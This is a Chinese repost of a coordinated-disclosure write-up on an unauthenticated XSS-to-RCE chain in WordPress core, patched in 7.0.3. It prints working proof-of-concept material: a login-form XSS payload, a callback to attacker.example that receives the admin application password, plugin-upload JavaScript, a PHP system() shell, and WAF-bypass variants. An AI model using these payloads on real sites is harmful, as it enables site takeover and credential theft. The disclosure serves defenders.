文章总结: 本文披露WordPress核心未认证XSS到RCE利用链CVE-2026-64638,影响超5亿网站。利用链通过解析器分歧绕过输入过滤,结合DOMclobbering与RESTAPIJSONP实现脚本执行,再借SOME技术提权至RCE。WordPress已在7.0.3修复,建议用户立即升级。
综合评分: 92
文章分类: 漏洞分析,WEB安全,代码审计,红队
XSS2Shell:WordPress 从未认证 XSS 到 RCE 的利用链(CVE-2026-64638)
PwnAI Research
PwnAI Research
不吃猹的瓜
2026年8月8日 16:06
日本
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
Pwn 发现了一条严重的未认证 XSS 到 RCE 利用链,影响 WordPress Core 的所有版本。WordPress 为互联网上超过 43% 的网站提供支持,据估计,在今天之前有超过 5 亿个网站受此漏洞影响。我们将这条利用链命名为 XSS2Shell。
CVE-2026-64638 完全可以在未认证状态下利用,无须任何账户。攻击者只需制造一次失败的登录尝试,就能在 WordPress 源站上下文中执行 JavaScript;如果目标管理员已经登录,还能进一步在服务器上实现完整的远程代码执行。这条链可以稳定利用所有默认安装的 WordPress。所有使用 pwn.ai 攻击面管理(ASM)产品的客户都已获得相应保护;pwn 在漏洞公开数周前发现它后,我们也第一时间通知了客户。如需试用目前仍处于测试阶段的 ASM 工具,可在这里登记:https://pwn.ai/asm
WordPress 已确认这条 XSS 到 RCE 利用链,并在 WordPress 7.0.3 中发布紧急补丁。修复还回移到了 WordPress 4.7 以来所有仍受维护的分支。该漏洞从 WordPress 最早期的版本起便一直存在,却不知为何直到现在才被发现,影响几乎所有仍在支持期内的 WordPress 网站。如果你正在运行 WordPress,请立即升级。
本研究以 Paulos Yibelo 此前提出的一种新型同源方法执行(Same Origin Method Execution,SOME)利用技术为基础。该技术曾发表在 pwn 博客,并入围 2022 年度 Top Web Hacking Techniques:https://pwn.ai/blog/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution。研究发表后,它揭示了一种影响 43% 互联网网站的 CSP 绕过方法。
Pwn 以这项研究为起点,目标是在不依赖 CSP 绕过的情况下构造完整利用链。借助开源模型和复杂的多 Agent 工作流,经过近四天的高强度工作,最终完成了这项任务。
起点
用户通过 wp-login.php 提交用户名和密码时,WordPress 会调用 wp_signon(),后者再调用 wp_authenticate()。如果用户名不存在,wp-includes/user.php 中的 wp_authenticate_username_password() 会构造一条错误消息:
return new WP_Error(
'invalid_username',
sprintf(
__( '<strong>Error:</strong> The username <strong>%s</strong> is not registered on this site.' ),
$username
)
);
提交的用户名通过 sprintf 直接放入 HTML。此时,变量 $username 已经以非严格模式经过 sanitize_user() 处理,而该函数会调用 wp_strip_all_tags()。
于是问题变成:有没有什么内容可以穿过 wp_strip_all_tags(),随后又变成危险的 HTML?
解析器分歧
wp_strip_all_tags() 是对 PHP strip_tags() 的封装。查看 strip_tags() 的 PHP 文档会发现,它通过寻找后面紧跟字母的 < 来识别标签。如果 < 与标签名之间存在空格,PHP 就不会把它识别成标签。
strip_tags('< area id=test>'); // '< area id=test>' — survived
strip_tags('<area id=test>'); // '' — stripped
这就是绕过第一个解析器所需的全部条件。
接着追踪这段幸存字符串的流向。错误对象沿调用链返回,经 wp_signon() 到达 wp-login.php;后者把它传给 login_header(),再交给 wp_admin_notice(),最终调用 wp_kses_post()。
KSES 是 WordPress 自己的 HTML 清理引擎,使用一套完全不同的词法解析器。Pwn 查看了 wp-includes/kses.php 中解析标签名的逻辑。KSES 能够处理 < 与标签名之间的空格;在它看来,< area 是合法的 <area> 元素。
而 <area> 位于 KSES 的 post 白名单中。它是图像映射使用的标准 HTML 元素。白名单还允许 <div> 和 <button>,并放行了一组相当宽松的属性,包括 id、class、href 和 name。
wp_strip_all_tags() 认为它是文本,wp_kses_post() 却认为它是允许出现的 HTML。最终,浏览器会收到攻击者指定的、真实生效的 DOM 元素。
注入什么
仅仅在登录页面中得到 DOM 元素,还不等于 XSS,此时尚未执行脚本。下一步要寻找页面上会自动与这些注入元素交互的代码。
打开 wp-login.php,查看它加载了哪些脚本。在默认登录 action 中,第 1516 行会加载 user-profile。这个脚本负责管理密码生成器、密码强度指示器和管理员配色方案选择器,原本是为 /wp-admin/profile.php 的个人资料编辑页面编写的。
登录页面为什么会加载它?因为登录页面也负责处理密码重置流程(action=resetpass),而该流程需要密码生成器。WordPress 没有只在重置密码时按需加载,而是为整个登录页面加载了这个脚本。
现在打开 wp-admin/js/user-profile.js,查看其中的 $(document).ready 处理函数。
第 562 行在 #color-picker 上为 .color-option 元素绑定了一个委托点击处理函数:
$('#color-picker').on('click', '.color-option', function() {
var user_id = $('input#user_id').val();
var new_user_id = $('input[name="checkuser_id"]').val();
if ( user_id === new_user_id ) {
$.post( ajaxurl, {
action: 'save-user-color-scheme',
color_scheme: $(this).children('.color-palette').data('color-scheme'),
nonce: $('#color-nonce').val()
});
}
});
第 620 行查找 .reset-pass-submit,并自动点击其中所有 .wp-generate-pw 按钮:
$('.reset-pass-submit').find('.wp-generate-pw').trigger('click');
在个人资料页面中,这些处理函数会与真正的个人资料元素交互;但登录页面并不存在 #color-picker、.reset-pass-submit 或 .wp-generate-pw,除非攻击者通过解析器差异把它们注入进去。
字符串先以文本形式通过 wp_strip_all_tags(),再由 wp_kses_post() 重新解析成真实元素。此时,DOM 中恰好出现了 user-profile.js 要寻找的节点。
第 620 行的 ready 回调找到 .reset-pass-submit,再找到其中的 .wp-generate-pw,并调用 .trigger('click')。click 事件被触发并向上冒泡到 #color-picker 上的委托处理函数;由于该按钮同时带有 color-option 类名,处理函数会捕获这个事件。
处理函数随即开始执行。它读取 $('input#user_id').val() 和 $('input[name="checkuser_id"]').val()。登录页面中没有这两个 input 元素,因此 jQuery 对两者都会返回 undefined。于是比较表达式变成:
undefined === undefined
结果为 true。这项检查是在个人资料页面的前提下编写的,默认两个 input 元素始终存在;到了登录页面,情况完全不同。
处理函数因此继续执行 $.post(ajaxurl, ...)。
DOM clobbering
ajaxurl 是 WordPress 在管理页面中通过 wp_localize_script 定义的 JavaScript 变量,内容是 wp-admin/admin-ajax.php 的 URL。但 WordPress 不会在登录页面定义它,这个变量在任何作用域中都不存在。假设注入以下 payload:
< area id=ajaxurl href=/test>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X
JavaScript 对当前作用域链中没有绑定的标识符求值时,运行时最终会查找 window 对象。HTML 规范第 7.3.3 节规定,window 对象会暴露“命名属性”(named properties):文档中任何带 id 属性的 HTML 元素,都可以通过 window.<id> 访问。
因此,注入的 <area id="ajaxurl"> 会成为运行时访问 window.ajaxurl 时返回的值。
jQuery 的 $.post() 原本期待接收 URL 字符串,现在得到的却是这个 HTMLAreaElement,于是会对它调用 .toString()。HTMLAreaElement 接口继承自 HTMLHyperlinkElementUtils,后者把 .toString() 定义为返回 href 属性。
注入的 <area> 的 href 是 /test。
jQuery 会向该 URL 发送同源 POST 请求。整个过程无须任何用户交互:WordPress 自己的脚本响应攻击者注入的 DOM,自动生成了请求。
REST JSONP
现在假设 payload 改成:
< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X
请求会到达 WordPress REST API。
rest_route=/ 选择无需认证的公开根索引端点。
_method=GET 告诉 REST 服务器把这次 POST 当作 GET 处理。这是为无法发送任意 HTTP 方法的客户端提供的标准功能。
_jsonp=alert 告诉 REST 服务器使用 callback 包裹响应。WordPress 会用 ^[a-zA-Z0-9_.]+$ 验证 callback,然后输出:
Content-Type: application/javascript; charset=UTF-8
/**/alert({"name":"My Site","description":"Just another WordPress site",...})
jQuery 通过 $.post() 发起请求时没有指定 dataType。响应到达后,由于 Content-Type 是 application/javascript,jQuery 会选择 script 数据类型,并对响应体调用 jQuery.globalEval()。
alert() 随即在 WordPress 源站上下文中执行,我们也得到了漂亮的 alert 弹窗。
证明 shell 确实可行
对于匿名 REST 返回 HTTP 401 的部署,_envelope=1 参数会把内部 401 包装进外层 200 响应。jQuery 只检查外层状态,因此 globalEval() 仍会执行。
同源方法执行(SOME)
JSONP callback 的正则允许 [a-zA-Z0-9_.],而点号可以访问属性。这意味着 callback 不只限于全局函数名,也可以是一条跨窗口遍历对象的属性链。
2022 年,Paulos Yibelo 在 pwn 博客发表了一种针对 WordPress 和 CSP 的新型同源方法执行(SOME)利用技术,并入围 2022 年度 Top Web Hacking Techniques。正是这项技术,让我们的 Agent 能够把现有原语扩展成可用 exploit。Agent 决定构造下面这个 callback。
callback 为:
window.opener.approve.click
其中每个字符都能通过正则。运行时会依次执行:访问 window,访问 .opener(打开当前窗口的窗口),访问 .approve(命名属性查找会返回 id="approve" 的元素),最后访问 .click(HTMLElement 上的 click 方法)。
JSONP 包装器调用 .click() 时,会把 REST 响应作为参数传入。HTMLElement.prototype.click() 会忽略所有参数。于是,opener 窗口中的元素会在管理员的已认证会话中被点击,并携带管理员的 cookie 和 nonce。
走向 PHP 代码执行
到目前为止,我们已经能够在未认证状态下,于 WordPress 源站上下文中执行 JavaScript。这本身就是一个严重漏洞。但利用链还要继续延伸;同时,还需要改造我们最初的研究成果,让受害者无须分别操作多个浏览器窗口,从而在所有现代浏览器上,只凭一次访问就能稳定利用。
第一步:设置 opener
攻击者托管一个简单的 HTML 页面。管理员访问链接后,该页面打开一个子窗口并保留引用:
var child = window.open('about:blank');
浏览器会创建两个保持有效 opener 关系的窗口。随后,攻击者把主窗口,也就是 opener,导航到 WordPress 的 Application Password 授权页面:
location = 'https://target/wp-admin/authorize-application.php'
+ '?app_name=SomeApp'
+ '&app_id=a1b2c3d4-5678-abcd-ef01-234567890abc'
+ '&success_url=https://attacker.example/callback';
该页面属于 WordPress Core,会显示一个表单,请管理员批准外部应用访问 API。批准按钮的 id 为 approve。页面以管理员的完整会话加载,因此具备相应的 cookie、nonce 和 capability。
第二步:从子窗口触发 XSS2Shell
子窗口提交登录 payload。但这一次,<area> 的 href 中,JSONP callback 不再是 alert,而是:
window.opener.approve.click
表单提交后,子窗口进入 WordPress 源站上下文。自动点击链被触发,REST JSONP 响应用 callback 包装,jQuery 对其求值。运行时跨越 opener 边界解析属性链,并点击批准按钮。
第三步:获取 Application Password
WordPress 的 auth-app.js 负责处理批准操作。它从页面读取 _wpnonce。由于管理员确实已经登录,这个 nonce 有效。随后,脚本发送 REST 请求创建新的 Application Password,并把凭据作为参数重定向到 success_url:
https://attacker.example/callback
?site_url=https://target
&user_login=admin
&password=XXXX XXXX XXXX XXXX XXXX XXXX
此时,攻击者的回调页面已经拿到管理员账户的有效 Application Password。
第四步:发布攻击者 JavaScript
Application Password 可以通过 HTTP Basic auth 对 REST API 请求进行认证。WordPress 的 REST CORS 实现会回显请求的 Origin,并允许 Authorization 和 Content-Type 请求头。攻击者的页面现在可以发起已认证的跨源 API 调用:
fetch('https://target/wp-json/wp/v2/pages', {
method: 'POST',
headers: {
'Authorization': 'Basic ' + btoa('admin:XXXX XXXX XXXX XXXX XXXX XXXX'),
'Content-Type': 'application/json'
},
body: JSON.stringify({
title: 'x',
status: 'publish',
content: ''
})
});
单站点 WordPress 的管理员默认拥有 unfiltered_html capability,因此 <script> 标签会原样保留在发布的页面中。
第五步:上传插件并执行 PHP
攻击者的主脚本随后把管理员浏览器导航到刚发布的页面。嵌入其中的脚本会在 WordPress 源站上下文中执行,并带有管理员的 cookie 会话。它会获取插件上传表单,提取 nonce,再提交攻击者提供的 ZIP:
// Read the upload form to get the nonce
let html = await fetch('/wp-admin/update.php?action=upload-plugin')
.then(r => r.text());
let nonce = html.match(/name="_wpnonce" value="([^"]+)"/)[1];
// Build the upload
let form = new FormData();
form.append('_wpnonce', nonce);
form.append('pluginzip', attackerZipBlob, 'payload.zip');
// Submit it
await fetch('/wp-admin/update.php?action=upload-plugin', {
method: 'POST',
body: form
});
// The ZIP extracts to wp-content/plugins/payload/
// PHP files inside are directly web-accessible without activation
let result = await fetch('/wp-content/plugins/payload/shell.php');
WordPress 会验证 nonce(正确),检查 capability(管理员,正确),再把 ZIP 解压到 wp-content/plugins/。插件无须激活,解压目录中的 PHP 文件可以直接通过 URL 访问;只要 Web 服务器会执行这些文件,其效果就与激活插件无异。
我们的验证使用了一个最小化 PHP 文件,它会写出 JSON 标记并返回自定义响应头:
<?php
header('Hacked: true');
echo json_encode(['rce' => true, 'user' => system(\`whoami\`)]);
响应如下:
HTTP/1.1 200 OK
Hacked: true
Content-Type: application/json
{"rce":true,"user":"www-data"}
验证完成后,提交给 WordPress 的 PoC 会自动清理现场:撤销 Application Password、删除已发布页面,并移除插件目录,不留下任何持久化内容。
概念验证
未认证 XSS:
<!doctype html>
<meta charset="utf-8">
<form id="poc" method="post" action="https://TARGET/wp-login.php">
<input type="hidden" name="log"
value='< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X'>
<input type="hidden" name="pwd" value="x">
</form>
每个 < 后面的空格就是 exploit 的关键。删掉空格,所有内容都会被过滤。
Envelope 变体(绕过 REST 401):把 href 改为 /?rest_route=/&_method=GET&_envelope=1&_jsonp=alert
WAF 绕行变体(绕过拦截 ?rest_route= 的边缘规则):把 href 改为 /wp-json/wp/v2/statuses/publish?_jsonp=alert&_method=GET
受影响版本
7.0.3 之前所有仍处于维护期的 WordPress 版本。
时间线
- 2026 年 7 月 26 日:发现并复现完整利用链。
- 2026 年 7 月 27 日:连同浏览器证据和 PHP 执行证明一起报告给 WordPress。
- 2026 年 7 月 27 日:WordPress 确认风险。
- 2026 年 8 月 6 日:WordPress 发布 7.0.3,漏洞获分配 CVE-2026-64638,并发放漏洞奖金。
- 2026 年 8 月 7 日:协调公开披露。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:不吃猹的瓜 PwnAI Research
PwnAI Research《XSS2Shell:WordPress 从未认证 XSS 到 RCE 的利用链(CVE-2026-64638)》